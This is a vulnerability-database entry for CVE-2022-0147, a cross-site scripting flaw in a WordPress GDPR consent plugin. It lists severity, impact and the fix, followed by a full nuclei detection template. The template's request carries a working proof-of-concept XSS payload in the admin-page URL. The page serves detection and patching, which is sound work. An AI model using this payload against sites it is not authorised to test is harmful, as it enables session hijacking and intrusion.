HexBrain

Browse / CVEs / CVE-2022-0147

CVE-2022-0147· cookieinformation / wp-gdpr-compliance· CWE-79

WordPress Cookie Information/Free GDPR Consent Solution <2.0.8 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.6%likelihood of exploitation, next 30 days
76%of all CVEs are less likely
Readycheck to confirm it

WordPress Cookie Information/Free GDPR Consent Solution plugin prior to 2.0.8 contains a cross-site scripting vulnerability via the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Update to the latest version of the WordPress Cookie Information/Free GDPR Consent Solution plugin (2.0.8 or higher) to mitigate this vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=wp-gdpr-compliance&x=%27+onanimationstart%3Dalert%28document.domain%29+style%3Danimation-name%3Arotation+x
Positive when: contains "x=\\' onanimationstart=alert(document.domain) style=animatio…" and "toplevel_page_wp-gdpr-compliance" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0147 -u <target>

The full check
id: CVE-2022-0147

info:
  name: WordPress Cookie Information/Free GDPR Consent Solution <2.0.8 - Cross-Site Scripting
  author: 8arthur
  severity: medium
  description: |
    WordPress Cookie Information/Free GDPR Consent Solution plugin prior to 2.0.8 contains a cross-site scripting vulnerability via the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress Cookie Information/Free GDPR Consent Solution plugin (2.0.8 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/2c735365-69c0-4652-b48e-c4a192dfe0d1
    - https://wordpress.org/plugins/wp-gdpr-compliance/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0147
    - https://plugins.trac.wordpress.org/changeset/2681371
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0147
    cwe-id: CWE-79
    epss-score: 0.0156
    epss-percentile: 0.75437
    cpe: cpe:2.3:a:cookieinformation:wp-gdpr-compliance:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cookieinformation
    product: wp-gdpr-compliance
    framework: wordpress
  tags: cve2022,cve,wordpress,xss,wp,authenticated,wp-plugin,wp-gdpr-compliance,wpscan,cookieinformation,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=wp-gdpr-compliance&x=%27+onanimationstart%3Dalert%28document.domain%29+style%3Danimation-name%3Arotation+x  HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "x=\\' onanimationstart=alert(document.domain) style=animation-name:rotation x'"
          - "toplevel_page_wp-gdpr-compliance"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from